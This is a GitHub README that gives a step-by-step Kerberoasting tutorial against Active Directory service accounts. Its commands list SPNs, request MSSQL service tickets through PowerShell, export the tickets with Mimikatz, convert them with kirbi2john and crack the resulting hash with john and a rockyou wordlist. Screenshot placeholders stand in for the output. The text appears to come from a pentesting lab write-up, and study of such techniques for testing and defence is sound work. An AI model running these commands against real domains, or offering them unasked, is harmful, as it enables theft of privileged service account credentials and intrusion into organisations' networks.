Skip to content

k4sth4/Service-Account-Attack

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 

Repository files navigation

Service-Account-Attack

A service account is a “non-human” account that is used to run services or applications. Service accounts are not administrative accounts, or other “human” accounts, used interactively by administrators or other employees. Service accounts also often have privileged access to computers, applications, and data, which makes them highly valuable to attackers.

Extracting Service Account Passwords with Kerberoasting

Kerberoasting takes advantage of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs).

First we need to find the Service Principle names using GetUserSPNs.ps1.

.\GetUserSPNs.ps1 

OnPaste 20220612-182821

We will go for MSSQLSvc.

Request Service Tickets for service account SPNs

Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/x.y.com:1433" 

OnPaste 20220612-183353

Extract Service Tickets Using Mimikatz

.\mimikatz.exe 
privilege::debug 
kerberos::list /export 

OnPaste 20220612-183717

OnPaste 20220612-183857

We've successfully imported .kirbi files. Grab the MSSQL one, and download it to attacker machine.

Crack the Tickets

We gonna use kirbi2john.py to get john hash and crack it using john.

python3 kirbi2john.py -o hash mssql.kirbi 

OnPaste 20220612-184621

OnPaste 20220612-184727

Now the hash is in john format. We can try to crack it.

john hash --wordlist=/home/kali/Downloads/rockyou.txt 
john hash --show

OnPaste 20220612-184954